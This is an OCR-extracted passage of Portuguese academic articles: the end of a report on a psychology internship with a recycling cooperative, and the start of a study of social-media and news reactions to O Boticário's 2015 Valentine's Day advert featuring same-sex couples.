de julho de 2014 a julho de 2015, com praticas sistematicas, totalizando oito horas de atuagao
semanal.

A partir dos pressupostos da analise institucional (BAREMBLITT, 2012), buscoy-se
entender o contexto do Programa Caminhos e da Cooperativa, uma vez que “(...) se pode
entender sem intervir, mas nao se pode intervir sem entender, embora durante a intervengao

iremos entendendo cada vez mais” (BAREMBLITT, 2012, p. 102). Para viabilizar essa analise,




foi necessario lancar mao de estratégias como o acompanhamento do cotidiano de trabalho,
entrevistas individuais, entrevistas grupais, observagdes participantes e analise documental.

Tendo em vista o percurso proposto pela analise institucional o trabalho se desenvolveu atraves

das seguintes etapas: aproximacéo com o projeto e andlise da demanda inicial; insercao do
estagiario no contexto de trabalho, levantamento das demandas dos trabalhadores e analise
dos processos de trabalho através de diferentes técnicas de coleta de dados; analise e apre-
ciacao dos resultados; devolutiva do material aos trabalhadores e a equipe administrativa da

cooperativa e da prefeitura; e construgao coletiva de estratégias de intervencao.

4 0 PERCU RSO Inicialmente o Programa Caminhos acionou o curso de Psicologia da Universidade a

fim de buscar assessoria no que se refere as relagoes entre os cooperados caracterizando um
PERCORRIDO E campo de analise (BAREMBLITT, 2012). A primeira etapa do trabalho se consolidou por meio
A REAI-I DADE de observacoes participantes e acompanhamento das atividades desenvolvidas tanto na sede
ENCONTRADA do Programa Caminhos, quanto na Cooperativa. Além da aproximacao com a realidade dos

trabalhadores, foi necessario um aprofundamento teérico acerca da estrutura e do funciona-
mento das cooperativas. O objetivo da observacao foi conhecer aquela realidade, suas ca-
racteristicas, estrutura, relacdes de poder, funcionamento, politicas e, principalmente, de que
forma se dava o trabalho cooperativado. Com essas perspectivas, pdde-se ampliar o campo
de intervencao e aproximagao das pessoas e da realidade.

Sendo assim, iniciou-se 0 acompanhamento da rotina de trabalho dos trabalhadores,

das atividades de integracéao, das reunioes de equipe e dos espacos informais de convivéncia.



Na sede do Programa Caminhos, a participacao em reunides com a equipe da Prefeitura, jun-
tamente com as secretarias e parceiros do Programa eram frequentes, assim como as reunioes
com os cooperativados, que ocorriam sistematicamente. Aos poucos, foram sendo realizadas

escutas coletivas e grupos operativos', momentos nos quais passou-se a oferecer aos traba-

Ihadores a oportunidade e o espaco para a fala, escuta e reflexao acerca de suas praticas.
Apesar de a demanda inicial ser a de assessoria no desenvolvimento das atividades
e nas relacdes entre os cooperados, percebeu-se, ao longo do processo que, o Programa
possuia dificuldades de acesso ao trabalho da Cooperativa, e consequentemente, havia uma
limitacao no gerenciamento do trabalho. Desse modo, o Programa tinha como objetivo a in-
sercao da Psicologia para exercer um controle sobre os cooperados. Neste sentido, caberia

a Psicologia realizar o repasse de informacoes a equipe diretiva. Diante disso, um trabalho

de conscientizagao sobre o papel da Psicologia nos contextos do trabalho foi necessario, e a
demanda inicial passou por uma analise da gestao parcial, na qual foi necessaria uma reade-
quacao das solicitagoes.

Além dos espacos formais, foi possivel acompanhar a rotina de trabalho e as atividades

informais. A imersao naquela realidade, vivenciando o que os trabalhadores vivenciavam, pos-

sibilitou o entendimento do contexto e, a partir disso, foi possivel construir uma reflexéo sobre

' Os grupos operativos se caracterizam por uma relagdo em que os integrantes possuem uma tarefa, que possibilitara um conhecimgnto,
por meio de um processo de aprendizagem (OSORIO, 2007). A abordagem utilizada nos grupos operativos, cujo autor da tepria é
Pichon-Riviere, se da por meio de uma tarefa, que devera ser conduzida de forma a resolver um conflito ou situagéo problema, dg modo
que essa reflexdo possa gerar uma mudanca. Nesse sentido, todo grupo proporciona aprendizagem, a partir das relacdes que \fivencia
entre os participantes e, por consequéncia, pode criar um clima de mudanca (OSORIO, 2007). Desta forma, os grupos o
oportunizam a reflexao a partir das aprendizagens vivenciadas nos grupos, uma vez que os participantes possam pensar s¢bre sua
pratica e compartilhar suas experiéncias de vida (ZIMERMAN, OSORIO, 1997)




as reais demandas do grupo. Nesses acompanhamentos informais, os trabalhadores traziam
suas realidades pessoais, ficando evidente o quanto suas condicdes pessoais eram precarias,
corroborando com uma questao social vulneravel. Através dessa escuta individualizada, foi

possivel entender o processo de subjetivagdo desse sujeito. Assim, a Psicologia dentro do

contexto do Caminhos, buscou uma aproximagao com a realidade em que os trabalhadores
estavam inseridos e, a partir desse entendimento, passou a problematizar essa realidade, mas,
sobretudo, estimular as escolhas e o papel de cada um enquanto sujeitos protagonistas de
suas historias.

A segunda etapa realizada ocorreu a partir do levantamento de um diagnoéstico grupal,
em que os trabalhadores foram divididos por processos (esteira e prensa, coleta de rua e

transportes), a fim de identificar elementos favoraveis e elementos desfavoraveis ao trabalho.

A partir da realizacao de grupos, identificaram-se possibilidades de atuagao neste processo
de desenvolvimento dos profissionais, mediando as relacoes entre estes e as organizacdes em
que trabalham. E importante considerar que as relacées de trabalho ocorrem a partir de um

trabalho cooperativado, onde o trabalhador nesse contexto nao se apropria deste lugar e por

vezes, sente-se injusticado, ou inclusive, enganado perante as questdes financeiras.

Alem disso, ficou evidente que as relagdes de poder possuiam um importante papel
naquele espaco, pois quem estava mais proximo do coordenador da cooperativa era melhgr
remunerado, gerando assim, frustracdes nos demais trabalhadores. Também ficou evid
que as relagdes no trabalho eram precarias, pois ocorriam muitos ruidos de comunicacao/e 0s
trabalhadores possuiam muita dificuldade em manter um dialogo e estabelecer uma relagéao

de cooperagao, apontando para uma contradicéao em relagcéo ao objetivo de uma cooperativa,




que se da, a partir da légica da cooperacao. Da mesma forma, os trabalhadores pouco parti-
cipavam das decisdes e, em muitos casos, apenas eram informados sobre as mudancas, ou
ainda sobre o futuro da cooperativa.

Por meio de técnicas de dinamica de grupo, os cooperados evidenciaram falas de
insatisfacao com a forma de condugao da gestao da cooperativa. Eles também se mostraram
inseguros sobre decisoes tomadas frente ao trabalho e, sobretudo, em relacéo aos proprios
cooperativados. A partir destes espacos de fala, verificou-se que, em alguns momentos, 0s
trabalhadores conseguiram refletir sobre algumas praticas que vivenciavam e que causavam
retrabalho, apontando para a melhoria dos processos. Nessa perspectiva, Dejours (2011) afir-
ma que essa escuta se da em grupos, entendidos como uma ampliacdo do espaco publico
de discussao, o que possibilita a transformagcao de compreensodes individuais em reflexdes
coletivas. Diante dessa problematizagao, o grupo conseguiu traduzir e revelar seus anseios e,
coletivamente, pdde propor acdes que visam a melhoria e transparéncia dos processos.

A terceira e Ultima etapa foi uma escuta individual, em que cada trabalhador foi entrevis-
tado acerca de suas vivéncias de trabalho, dificuldades, sofrimentos e possiveis patologias. Os
dados revelaram que entrevistados sentiam a necessidade de melhorias nos fluxos de trabalho,

cumprimento de regras e maior comprometimento dos colegas. Também foi possivel identifi-

car com maior clareza inumeros elementos atrelados a precarizagao do trabalho, como pgr
exemplo: os riscos ergonémicos, em fungao da elevada carga de peso levantada; os fatgres
da organizacao do trabalho, caracterizados pela ma organizagcao do processo produtivo,/pela
falha no conhecimento dos materiais reciclados, pelas falhas de gestao, pelos conflitos ¢gom a

lideranga, pela falha na cooperacao entre a equipe e participacao no modelo de gestaaq, pela




falha na divisdo das tarefas que repercute em uma sobrecarga de trabalho; e a auséncia de
beneficios formais e acesso a protecao social.

Alem disso, os profissionais apresentaram relatos constantes de medo, tensao, nervo-
sismo, irritacao, isolamento, angustia e vergonha com relacao ao trabalho realizado. Também
relataram cansaco fisico, dores musculares, nas costas, nos joelhos, nos ombros, nos bragos,
nas maos, nas pernas, € nos pes, problemas gastrointestinais, urinarios, renais, além do uso
recorrente de alcool e tabaco. Muitos trabalhadores faziam uso de medicagdo sem acompa-
nhamento medico, alimentavam-se de maneira incorreta e em locais insalubres, ndo realizavam
exercicios fisicos e a maioria ndo possuia acesso a rede de Protegdo Social. Em contrapartida,
grande parte dos cooperados entendiam que a Cooperativa representa uma oportunidade de
melhoria das condigoes sociais e de renda, um meio para a realizagao de sonhos e aquisicao
de bens materiais, além de um espaco importante de socializagao, o que caracteriza a mobi-
lizacao subjetiva.

A partir desta analise foi organizada uma oficina de sensibilizacéo junto a gestéo do
Programa Caminhos, apontando os elementos de precarizagao do trabalho vivenciado pelos
trabalhadores. Diante disso, foram estabelecidas agdes que estao em andamento, de modo

que ora avangam, ora retrocedem. Na perspectiva de organizacao do trabalho e gestéo, foi

estabelecida uma parceria com uma consultoria disponibilizada pela Universidade Feevale/a
fim de atuar na gestao do programa, bem como na logistica e gestao de processos. Acgrca
da lideranca, a Psicologia permanece no acompanhamento das agoes, oferecendo apojo na
tomada de decisao, assim como no acompanhamento e encaminhamento dos trabalhadores

a rede publica de saude. Ao mesmo tempo, foi estabelecido um cronograma com diyersas




5 PARA NAO
CONCLUIR

acbes pontuais na area de saude mental e qualidade de vida, a fim de sensibilizar e estimular
o cuidado com a saude em parceria com a Secretaria Municipal da Saude.

Dito iss0, esperar um cenario contrario seria justamente desconsiderar o contexto ma-
crossocial no qual a precarizacao se constitui. Afinal, neste caso e em muitos outros, a Psicolo-
gia precisa identificar suas limitagdes teorico-praticas, atuar transdisciplinarmente e auxiliar na

ampliacao do olhar acerca dos contextos sociais no quais atua.

Diante do material apresentado, entende-se que o trabalho da Psicologia no contexto
da precarizagao do trabalho implica na busca pelo conhecimento das diferentes realidades

sociais, politicas e econémicas que compde o0 campo de atuagao. Para além dos referenciais

teoricos inerentes ao nosso saber, € imprescindivel o olhar de outras areas do conhecimento,
como por exemplo, para as contribuicdes da sociologia, da politica, da saude coletiva, entre
outras. Mas para além disso, atuar frente ao contexto de precarizacao social e do trabalho exi-

ge definitivamente que a Psicologia rompa com seu modelo historicamente construido voltado

para a analise da subjetividade humana descontextualizada do contexto social, como bem
discutido por Bock (2007).

Ao longo da experiéncia de estagio realizada percebeu-se que dentre os principais dg-
safios da Psicologia frente ao contexto de precarizagao do trabalho estao o entendimento dg'ste
fendbmeno a partir de uma analise macrossocial, 0 que demanda o uso referenciais tedficos
provenientes de outros campos de estudo e atuacéo; a elaboragao e utilizacao de ferra

que possam identificar e atribuir visibilidade aos elementos de precarizagao do trabal



construgao de estratégias coletivas para pensar estes elementos e facilitar acoes transforma-
tivas. Todo este arcabougo demanda questionamentos éticas, tedricos e praticos constantes,
alicergados no compromisso ético e social do psicologo. Afinal, atuar neste arcabouco significa
deparar-se com inumeros interesses nao revelados, com atravessamentos sociais, politicos,
econdmicos e culturais. E sao estes diferentes atravessamentos que tornam a pratica da Psi-
cologia Social e Institucional uma constante retomada, ao mesmo tempo que se avanca, se faz

necessario recuar.
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0 presente trabalho traz como debate as articulacdes entre ciberacontecimentos (HENN, 2014), géneros
e homofobia (PRECIADO, 2014; LOURO, 2013) e publicidade e propaganda (LUPETTI 2007) através do co-
mercial divulgado pela marca “0 Boticdrio”, em maio de 2015. No video, aparecem casais gays e héteros
entregando presentes aos seus pares, 0 que motorizou diversas producoes de sentidos nos sites de redes
sociais (RECUERO, 2009). 0 objeto de andlise traz apontamentos significativos para o grupo de pesquisa LIC,
Laboratdrio de Investigacdo do Ciberacontecimento, que trabalha o acontecimento a partir de uma perspec-
tiva semidtica, tendo como foco as processualidades da producdo de sentidos nos ambientes culturais e nas
questoes de géneros e homofobia trazidas pelo universo da cultural digital. A partir da pesquisa exploratéria
no Facebook e no Twitter, desenvolvida nos dias 4, 5, 6, 7, 8 e 9 de junho, buscou-se identificar a emergéncia
de novas formas jornalisticas que motorizam praticas sociais inéditas, integrando um discurso cada vez mais
concomitante aos ciberacontecimentos e a sua poténcia mobilizadora. Também foram analisadas, a partir
de uma perspectiva de construcao de sentidos em redes digitais, técnica de andlise em construgao no LIC, a
emergéncia de pautas divulgadas nas fanpages de trés portais de noticias: G1, UOL e R7.

Palavras-chave: Ciberacontecimento. Sites de Redes Sociais. O Boticario. Propaganda. Género.

ABSTRACT

The work brings to debate the links between cybervents (HENN, 2014), genders (PRECIADO, 2014; LOURO,
2013) and advertising (LUPETTI, 2007) through the commercial released by the brand “0 Boticdrio” in May
2015. In the video, appear gay and heterosexual couples delivering presents to their peers, which motorized
several productions of meanings in social networks(RECUERO, 2009). The object of analysis brings significant
trends for the research group LIC, Cybervent Research Laboratory, working the event from a semiotic perspec-
tive, focusing on the procedurals the production of meaning in cultural environments and the issues of gender
and homophobia brought about by the digital cultural universe. Through exploratory research on Facebook
and Twitter, developed on 4, 5, 6, 7, 8 and 9 June, we sought to identify the emergence of new journalistic
forms that motorizam unprecedented social practices, integrating an increasingly concomitant speech to
cybervents and its mobilizing power. Were also analyzed from the perspective of construction of meaning
in digital networks, construction analysis technique in LIC, emergency quidelines disclosed in fanpages three
news portals: G1, UOL and R7.

Keywords: Cybervent. Social Networks. O Boticario. Advertising. Gender.




INTRODUCAO

O artigo busca contextualizar os ciberacontecimentos (HENN, 2014), acontecimentos
tramados em sites de redes sociais (RECUERO, 2009), para entao dissertar sobre os géneros e
a homofobia (PRECIADO, 2014; LOURO, 2013). A pesquisa aqui desenvolvida faz parte de um
projeto maior do grupo LIC, Laboratério de Investigagao do Ciberacontecimento, que se des-
dobra em acontecimentos especificos, que movimentam semioses (PEIRCE, 2002) em torno
das questdes de género. Buscamos, entao, a partir da técnica de construgcao de sentidos em
redes digitais (HENN, 2014), entender como os sentidos inaugurados em sites de redes sociais
em torno da polémica inaugurada por uma propaganda de Dia dos Namorados da O Boticario
se articulam e sinaliza um campo problematico em torno das pautas divulgadas, relacionadas
ao video da marca, por trés portais de noticias: G1, UOL e R7.

Partimos, primeiramente, de uma contextualizacéo dos géneros e da homofobia a partir
de Preciado (2014) para, entao, analisar como os ciberacontecimentos, a partir de conceitos
semioticos (PEIRCE, 2002; LOTMAN, 1996) movimentam desdobramentos e espalhamento
(JENKINS, FORD, GREEN, 2014) que, a partir de disputas signicas, geram pautas jornalisticas.
Apbs tal contextualizacéo, analisamos o video de Dia Dos Namorados da marca O Boticario
para entender quais pontos da narrativa apareceriam nas semioses desenvolvidas em redes
sociais. Dai, desenvolvemos uma pesquisa exploratéria (FRAGOSO, RECUERO, AMARAL,
2013) no Facebook e no Twitter, que demonstrou os desdobramentos em torno do caso:
controvérsias que surgiram, 0s memes € as pautas jornalisticas. Por fim, a construgao de
tidos foi desenvolvida nos portais de noticias especificados buscando entender as problema-

tizacoes levantadas no texto.




2 CIBERACONTECIMEN-
T0S, GENEROS E
HOMOFOBIA

Concluimos que o jornalismo, a0 mesmo tempo em potencializa a mobilizacao em torno
dos ciberacontecimentos, acompanha o discurso social que se desenvolve em sites de redes
sociais: uma propaganda motoriza os atores sociais a espalharem signos em torno dela, sendo
que alguns destes signos possuem evidente carga homofobica. O jornalismo, entdo, pauta ma-
térias que acompanham as narrativas que desenvolvem maior visibilidade e impulsionam mais
conversagodes em rede em torno do objeto, que passa, entao, a circular com menos signos de
odio e que sinalizam apoio ao movimento LGBT (Lésbicas, Gays, Bissexuais, Travestis e Trans-

géneros), criando uma ruptura que impulsiona pautas mais inclusivas.

Os ciberacontecimentos sao uma modalidade do acontecer que teve inicio ainda nos
anos 1990, atraves do escandalo envolvendo o ex-presidente dos Estados Unidos, Bill Clinton,
e a entdo estagiaria da Casa Branca, Monica Lewinski. O gerente de uma loja de conveniéncia
no edificio da rede de televisao norte-americana CBS deu forma inicial ao acontecimento pos-
tando no seu blog, o The DrugeReport, o conteudo das conversas telefénicas gravadas pela
amiga e denunciante de Lewinsky, Linda Tripp (HENN, 2013). Deste ponto, surgiram pautas jor-
nalisticas em portais de noticias, jornais impressos e conversagdes nas redes estabelecidas na
época. Dos anos 1990 ateé o inicio da segunda década dos anos 2000, a internet expandiu-s,
ganhou reverberacao e inaugurou diversas novas praticas socioculturais, entre elas, a grapde
aderéncia aos sites de redes sociais (RECUERO, 2009).

Redes sociais séo formadas por atores — pessoas, grupos, organizacoes — e suas cone-

x0es. As conexdes entre os atores, atraves destas ferramentas, possibilitam a expressag, inte-




racao e sociabilidade (RECUERO, 2009), podendo modificar a sociedade através de diversas
processualidades. Nos sites redes sociais, “[...] ndo ha como separar o que vem do humano
e 0 que vem das plataformas, tudo se mistura: aparatos técnicos, sistemas de codificagao,
discursos, linguagens multimidia, percepcoes e afetos”. (SANTAELLA, 2013, p. 124). Por isso,
as construcoes identitarias que surgem nas redes sociais permitem uma constante atualizagao
do “eu”, encorajada pelos dispositivos destas plataformas, pois “ao criar um perfil nas redes
sociais, as pessoas passam a responder e a atuar como se esse perfil fosse uma extensao sua,
uma presenca extra daquilo que constitui sua identidade”. (SANTAELLA, 2013, p. 115). Assim,
a partir das conversagdes que se desenvolvem nestes espacos do universo digital, atores
sociais compartilham posicionamentos politicos, ideais, gostos, etc., tudo através de signos
diversos: imagens, musicas, textos, hashtags, links, videos, matérias jornalisticas.

O Facebook e o Twitter surgem, por exemplo, como espaco de rastros destas socia-
bilidades imageéticas. Conceitos como competicao, cooperagao, popularidade e visibilidade
ganham espaco nestas redes (RECUERO, 2009). Conforme Santaella (2013, p. 127), “N&o ha
mais separacao entre viver e narrar a vida enquanto ela passa”. Estas narrativas, junto com as
construgdes das identidades (HALL, 2000) e com as discussdes que sdo desenvolvidas nas

redes sociais, sao responsaveis por uma crise nas fronteiras jornalisticas e nas formas como

as légicas do mercado estao lidando com estas transformacdes que a rede desenvolve nds
pessoas, desenvolvendo sociabilidades e subjetividades, mexendo com as memarias, cony as
capacidades cognitivas, com a forma com o que o ser humano lida com os fatos e recebje as

informacodes; emerge, com poténcia, uma nova forma de acontecimento, em que os sentidos




nas redes sociais digitais geram discussdes e mobilizacdes que se engendram atraves da
convergeéncia, das himeridias, do espalhamento, da ubiquidade.

Existem trés dimensdes que tornam propicias a elaboragao de um a ciberacontecimen-
to: as transnarrativas e a hipermidia, construidas por diversos atores sociais; a reverberacao,
ou o espalhamento, que passa a construir as narrativas em torno de determinado acontecimen-
to; e a eclosao de outras formas de acontecimento que se formam em cenarios de conexoes
altamente sistémicas (HENN, 2014, p. 17). No nivel transnarrativo, entra em cena a convergén-
cia (JENKINS, 2008), que propicia desdobramentos diversos, fazendo com que vérios meios
interajam entre si. Por exemplo: um jogo de video-game que ganha novas narrativas no Twitter
e no Facebook, além de um filme que amplia a histéria. Com a hipermidia (SANTAELLA, 2013),
entram em cena os meios que trazem mais do que uma funcionalidade: misturam-se textos,
videos, imagens, etc. O espalhamento (JENKINS, FORD, GREEN, 2014) que seria, em totalida-
de, o compartilhamento e a circulagao que determinado conteudo desenvolve na web atraves
de atores sociais, ganha destaque na construcao dos ciberacontecimentos, pois €, através
dele, que a visibilidade (RECUERO, 2009) da destaque para os mais variados assuntos, que se
legitimam através de sistemas complexos e passam a motorizar pautas jornalisticas.

Os ciberacontecimentos seriam, entéo, acontecimentos tramados em sites de redes
sociais (RECUERQO, 2009). Desta constatagéo, e dos entendimentos das trés dimensodes que
propiciam a construgéo (e espalhamento) de determinado ciberacontecimento, é possivel
tir para um entendimento semiotico a respeito destes acontecimentos especificos. E na semios-
fera (LOTMAN, 1996), que seria um mundo em nivel signico, que o objeto (acontecimento) é

transformando em signo e ganha interpretacdes por atores sociais e pelo jornalismo, crjando,




assim, mais signos, constituindo, assim, uma parte desse universo semiosférico. Ao movimento
dos signos na semiosfera, da-se o nome de semiose (PEIRCE, 2002), que € vista, entdo, como
os sentidos em torno de determinado ciberacontecimento, construidos através da acao dos
signos (HENN, 2014).

Assim, inferiu-se a necessidade de sistematizar a analise dos sentidos em torno dos
ciberacontecimentos, como também desenvolver estudos que contribuissem para o entendi-
mento das especificidades desta forma de acontecer que movimenta signos das mais diversas
naturezas. O grupo LIC, Laboratério de Investigacao do Ciberacontecimento, busca, entao,
atender a estes objetivos através, principalmente, da técnica de analise denominada como
construgado de sentidos em redes digitais (HENN, 2014), que ainda se encontra em desenvol-
vimento. Na atual instancia, ela possui inspiracao nas metodologias de pesquisas qualitativas
e quantitativas na internet (FRAGOSO, RECUERO, AMARAL, 2013). Nos casos analisados,
parte-se da construcao de uma amostra significativa, mas que nao entre em redundancia. Os
dados sao coletados através de printscreen e armazenados em pastas para, posteriormente,
passarem por uma analise de sentidos que busca entender os desdobramentos em torno de
determinado objeto. Atraves desse carater metodologico, que parte de uma pesquisa explora-
toria (FRAGOSO, RECUERO, AMARAL, 2013), os pesquisadores do LIC perceberam, em um
primeiro momento, a emergéncia de ciberacontecimentos que sinalizavam questdes de entrg-
tenimento e mobilizagdes coletivas, como a selfie da 86 cerimonia do Oscar e os protestog de
junho e julho de 2013. Ja em um segundo momento da pesquisa, percebeu-se uma madali-
dade especifica de ciberacontecimentos que inauguravam sentidos em torno de questoes de

géneros, das sexualidades e da homofobia.




Os estudos de género e sexualidade apresentam uma serie de perspectivas e possi-
bilidades, dos campos da filosofia até as ciéncias biologicas. Reconhecendo essa riqueza de
possibilidades, partimos da visao Preciado que, como coloca a introdugao do livro em que nos
baseamos, fez com a filosofia 0 mesmo que o rap e o funk fizeram com a musica (PRECIADO,
2014): diversificou, desestruturou, trouxe novas percepcoes.

Preciado (2014) parte da colocacao, alinhada as ideias de Simone de Beauvoir, de que
0S géneros sao construidos socialmente e de que as sexualidades, a partir de Foucault, sofrem
uma série de controles a partir dos poderes e saberes. Através desses aspectos, a sociedade
encontra-se em uma logica binaria de “ou se € isso ou se € aquilo”, o que pode ser visto como
uma critica a varias teorias do género. O que nos interessa € a ruptura que estes corpos fora
de uma matriz heterossexual (gays, lésbicas, travestis, transgéneros, etc.) vao gerar nos sites

de redes sociais, devido, principalmente, mas nao somente, a ataques de homofobia (ou trans-

fobia, lesbofobia, etc.) (LOURO, 2013), que seria a violéncia fisica ou psicoldgica contra uma
pessoa fora dessa matriz, motorizando ciberacontecimentos.

O projeto atual do LIC, Produgao de Acontecimentos em Redes Digitais: Ciberacon-

tecimentos, Géneros e Homofobia, pretende analisar casos envolvendo acontecimentos que
contenham manifestacdes de homofobia, estando relacionados a outras colocacdes do género
e da sexualidade, confrontadas com reacdes articuladas em rede. Emergem, portanto, entr
os anos de 2014 e 2015, uma série de movimentos monitorados que trazem tais constatagogs,
como o beijo lésbico da novela Em Familia, o menino/menina Brendan Jordan, a polémica
inaugurada por um anuncio da Skol, e a legalizacéo do casamento gay em todos os estados

estadunidenses, e, o ciberacontecimento especifico que o artigo busca analisar: o anungio de

Dia dos Namorados da marca O Boticario.



LAGRIMAS DA
AMILIA TRADICIONAL
BRASILEIRA: UM
PERFUME DA 0
BOTICARIO E SEUS
DESDOBRAMENTOS

A marca O Boticério langou no dia 25 de maio de 2015 um video' para a campanha
de Dia dos Namorados que e movimentou uma ruptura em relagao aos videos de outras mar-
cas no mesmo periodo: haviam, supostamente, um casal gay e um casal Iésbico na narrativa
apresentada pela propaganda. O clipe, de 30 segundos e com uma versao instrumental da
musica Toda Forma de Amor, de Lulu Santos, ao fundo, inicia com um homem branco entrando
em uma loja da marca para comprar um presente, intercalado com as cenas de uma mulher
branca de cabelos escuros preparando o jantar. Depois, um outro homem, também branco,
mais velho e grisalho, olha-se no espelho e arruma o cabelo, enquanto uma mulher, branca e
loira, faz 0 mesmo; os dois pegam presentes no que supostamente sao as suas casas e saem.
Surge, em seguida, outro homem e uma mulher, brancos, com cabelos loiros e castanhos, res-
pectivamente, chamando um taxi. Depois, uma outra mulher, branca e ruiva, toca um interfone
e um quarto homem, também branco, com cabelo curto e barba por fazer atende um telefone;
a mulher ruiva entra no apartamento que tocou o interfone e o quarto homem abre a porta da
sua casa e recebe com um sorriso, seguido por um abrago, o segundo homem, grisalho. O
primeiro homem, que entrou na loja, da um abraco na segunda mulher, a que estava em frente
ao espelho. A mulher que tocou o interfone é recebida com um sorriso e um abraco pela mu-

Iher que preparava o jantar, no inicio do clipe. E o casal que chamou o taxi encontra-se em um

parque, sorrindo e também trocando abracos. Por fim, todos trocam os seus presentes da
Boticério e aparece um packshot” dos perfumes enquanto a voz uma mulher narra: “no Dia flos

Namorados, entregue-se as sete tentacbes de Ego, de O Boticario”. Aparece, entao, por

' Fonte: https://www.youtube.com/watch?v=p4b8BMnolDI Acesso em: 11 jan. 2016.
? Técnica publicitaria que mostra os produtos de determinado aniincio em destaque.



https://www.youtube.com/watch?v=p4b8BMnolDI

do packshot, o logotipo da marca e o slogan “Aqui a vida € linda”.
Em questbes de afetividade entre os casais, abracos e sorrisos
foram o suficiente para inaugurar uma série de sentidos que refle-
tem a homofobia enraizada na sociedade, principalmente apos a

o | exibigdo em horario nobre (no decorrer das 21h, pois geralmente

D-} Mutirdo para dar ||ﬁ|-:r- no video do O Boticario

& o pico de maior audiéncia) na Rede Globo.

Guiherme Martins Lupén A Participar | Héo sel | Pecusar

Figura 1- Mutirao para dar like no video Apos a exibicdo da propaganda em um canal de grande

Fonte: pesquisa exploratéria realizada pelos autores. - L .
pesa P P visibilidade, a Rede Globo, deu-se inicio a um movimento de dar

“deslike” no video da marca no YouTube que foi impulsionado por
evangelicos fundamentalistas e abragado por outros grupos que nao aceitam a homossexuali-
dade como uma forma legitima de relagao, pois o argumento destes grupos coloca que foram
criados por Deus, no caso cristao, o homem e a mulher e que estes devem ficar um com o
outro. O Pastor Silas Malafaia, ja famoso por declaracdes polémicas e preconceituosas, pediu,
em um video® do seu canal, que aqueles que ndo concordavam com o que era mostrado na

propaganda da O Boticario fossem até a pagina e dessem um “ndo gostei” no clipe. Foram

criados, também, eventos e correntes pelo WhatsApp que buscavam estabelecer como objeti-
vo 0 boicote ao video. Em contrapartida, a visibilidade em torno das agdes que buscavam boi-
cotar a marca e o video levaram a emergéncia de eventos e grupos que buscavam o contrari
dar “like”, “gostei”, no video (Figura 1). Assim, eclodiu uma forte disputa de controvérsias gue
levou ao surgimento de pautas jornalisticas, levando a afirmacao da processualidade que/leva

ao surgimento de ciberacontecimentos.

Fonte: https://www.youtube.com/watch?v=Rn8ET9Nos9g Acesso: 11 jan. 2016



https://www.youtube.com/watch?v=Rn8ET9Nos9g

Uma matéria do portal da Folha de Sao Paulo®, no dia
3 de junho de 2015, informa que o Conar, Conselho Nacional
de Autorregulamentacao Publicitaria, abriu processo de anali-
se contra o video apos receber 30 reclamacoes. Outra maté-
ria,” da Veja, traz o video ja citado do Pastor Silas Malafaia e
da destaque ao boicote que o pastor buscava fazer a marca,
convocando os seus fiéis. E assim, a partir de um processo cir-
culativo, diversas pautas foram espalhadas através de criticas

ANTES DO COMERCIAL positivas e negativas, potencializando a visibilidade em torno

Figura 2 - Antes e depois do comercial do caso e evidenciando o papel dos atores sociais. Surgiu um

Fonte: pesquisa exploratéria realizada pelos autores. . . . . .
pesd P P Tumblr inspirado no caso, Aproveita e Boicota Também?®, em

que eram reunidos anuncios de varias marcas que traziam
como tema o amor gay e Iésbico. Surgiram inumeros memes
em torno do caso, fazendo alusdo a marca, e que brincavam

com a possivel transformacao em gay que surgiria apos 0 uso

dos perfumes da marca (Figura 2), como também uma monta-
gem de um perfume com o nome “Lagrimas da Familia Tradi-

cional Brasileira” (Figura 3) e o logo da O Boticario. Sugira

Fonte: http:/f5.folha.uol.com.br/vo
comercial-de-o-boticario-com- jan
Fon http://ve oril.com.br/blo

ao-compre

-no-boticario-apos-campanha-ne ): 11 jan. 2016

Figura 3 - Perfume Lagrimas da Familia Tradicional Brasileira Cos
Fonte: pesquisa exploratéria realizada pelos autores. Fonte: http://aproveitaeboicota.tumblr.com/ Acesso: 11 jan. 2016.


http://f5.folha.uol.com.br/voceviu/2015/06/1637409-conar-abre-processo-sobre-comercial-de-o-boticario-com-casais-gays-apos-30-reclamacoes.shtml
http://f5.folha.uol.com.br/voceviu/2015/06/1637409-conar-abre-processo-sobre-comercial-de-o-boticario-com-casais-gays-apos-30-reclamacoes.shtml
http://veja.abril.com.br/blog/radar-on-line/economia/malafaia-conclama-evangelicos-a-nao-comprar-no-boticario-apos-campanha-na-tv/
http://veja.abril.com.br/blog/radar-on-line/economia/malafaia-conclama-evangelicos-a-nao-comprar-no-boticario-apos-campanha-na-tv/
http://aproveitaeboicota.tumblr.com/

também, pautas em portais de noticias que apontavam as marcas que apoiavam a causa LGBT e que deveriam ser,
portanto, boicotada pelos preconceituosos, como o Facebook e Apple.” A legalizacao do casamento gay também apa-
rece como destaque em algumas e, neste nivel do ciberacontecimento, o video da marca ja estava com mais “gostei”
a “nao gostei”, o que s6 impulsionou mais ainda a emergéncia de novos memes e conversacdes em torno do caso.

E importante notar que a repercussdo em torno do caso contribuiu para a visibilidade em torno do video da
marca. Foram mais de 3 milhdes de visualizagdes®, enquanto outros videos do canal recebiam, no maximo, 500 mil
visualizacdes. Percebemos, no decorrer da construgéo de sentidos em redes digitais (HENN, 2014) que o jornalismo
acompanhou gradualmente a aderéncia a causa LGBT, no que tange a divulgar matérias que apoiavam o video a
marca e nao ao boicote. Tendo em vista esta hipotese, que busca entender a formagdo de um campo problematico
(QUERE, 2005) a partir das matérias que foram surgindo, desenvolvemos uma analise especifica nas pautas relaciona-

das ao caso e divulgadas nas fanpages de trés portais de noticias: G1, UOL e RY.

2.1 UMA ANALISE DOS SENTIDOS INAUGURADOS NAS FANPAGES DO G1, UOL E R7
EM TORNO DO CASO BOTICARIO

Através da pesquisa exploratoria no Facebook (o Twitter foi utilizado também, mas para entender as especifici-
dades detalhadas no item 2), desenvolvida nos dias 4, 5 e 6, 7, 8 e 9 de junho de 2015, foi construida uma amostra que
busca entender os campos problematicos (QUERE, 2005) inaugurados em torno do ciberacontecimento inaugurado
pela propaganda da O Boticario, tendo como foco os sentidos desenvolvidos pelos portais de noticias G1, UOL e R7/e
as consideracoes que eles trazem sobre os géneros, a homofobia, 0s sites de redes sociais e as praticas jornalisticas

e publicitarias desenvolvidas nestes espacos de cibersociabilidade.

rasil.elpais.com/brasil/2015/06/02/politica/1433264063_080082.html Acesso: 11 jan. 2016.
www.youtube.com/watch?v=p4b8BMnolDI Acesso: 11 jan. 2016.



http://brasil.elpais.com/brasil/2015/06/02/politica/1433264063_080082.html
https://www.youtube.com/watch?v=p4b8BMnolDI
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Figura 4 - Matérias divulgadas nas fanpages dos portais
